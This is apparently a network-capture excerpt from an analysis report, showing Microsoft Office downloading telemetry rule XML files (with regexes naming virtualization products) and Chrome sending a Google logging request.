2024-10-31 08:07:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:20 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 64f5c2f9-201e-000c-22cd-2a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080720Z-17c5cb586f6ks725u50g36qts800000001e0000000000rxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49795	172.217.18.110	443	3532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:20 UTC	903	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 926 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=Z97PtYtnn1MUW7OTWlEKvca4h0h8zrrIJp_WpAht0IRE7yw7SZt8j9_8X1dsV_e3qPG13Lws4IBUxtlAneYdXmwnPBfhT1jNaGNd4IkK57XPQTQj4W-AeOgecOxIIZJqIfP-lCAyWxeeD7nhIrSgB-yH81Uac8CROqQMW0E9R9AihZ4oUbI
2024-10-31 08:07:20 UTC	926	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 36 32 30 33 37 31 34 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730362037149",null,null,null,
2024-10-31 08:07:20 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=cjZ7QcZpEbRXDG_g7OjZCPr9owU3oDQuVezY6Er159frmByP3afsSgsmdBETwJf3ny4Zyjei2tNVrvQw54-1a4P6Dodt9bCIrS1rURGAQ49E-bl6rs6SOUX304H4X1x79crL19HbG1MGUXfv7nrA7r5CYIUHdUMYMIIvFdqunL6XSUnv6RAe07i8vSw; expires=Fri, 02-May-2025 08:07:20 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 31 Oct 2024 08:07:20 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 31 Oct 2024 08:07:20 GMT Connection: close Transfer-Encoding: chunked
2024-10-31 08:07:20 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-31 08:07:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:20 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 7a23be84-101e-0079-6389-285913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080720Z-15b8d89586fmhjx6a8nf3qm53c000000030g00000000bmg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:20 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:20 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 9c0a367c-e01e-0085-4811-2bc311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080720Z-15b8d89586f989rkwt13xern5400000004p0000000000xux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:20 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:20 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: a3f41134-c01e-00ad-7d0b-29a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080720Z-15b8d89586flzzksdx5d6q7g1000000004fg000000001vg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:20 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:20 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d24b0423-701e-0098-2b81-2a395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080720Z-159b85dff8fsgrl7hC1DFWadan00000001r000000000dmuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:20 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:21 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:20 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b3c0c22a-701e-0097-21e7-2ab8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080720Z-15b8d89586f8l5961kfst8fpb00000000n0g00000000c0k1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:21 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:21 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 151676fb-b01e-0084-4068-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080721Z-15b8d89586fxdh48ft0acdbg440000000320000000006271 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:21 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:21 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 19dd884a-801e-00a3-03cd-2a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080721Z-159b85dff8f7lrfphC1DFWfw080000000110000000008sda x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:21 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:21 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: e138989b-f01e-003f-497f-2ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080721Z-17c5cb586f6f98jx9q4y7udcaw00000000ug0000000032mh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:21 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
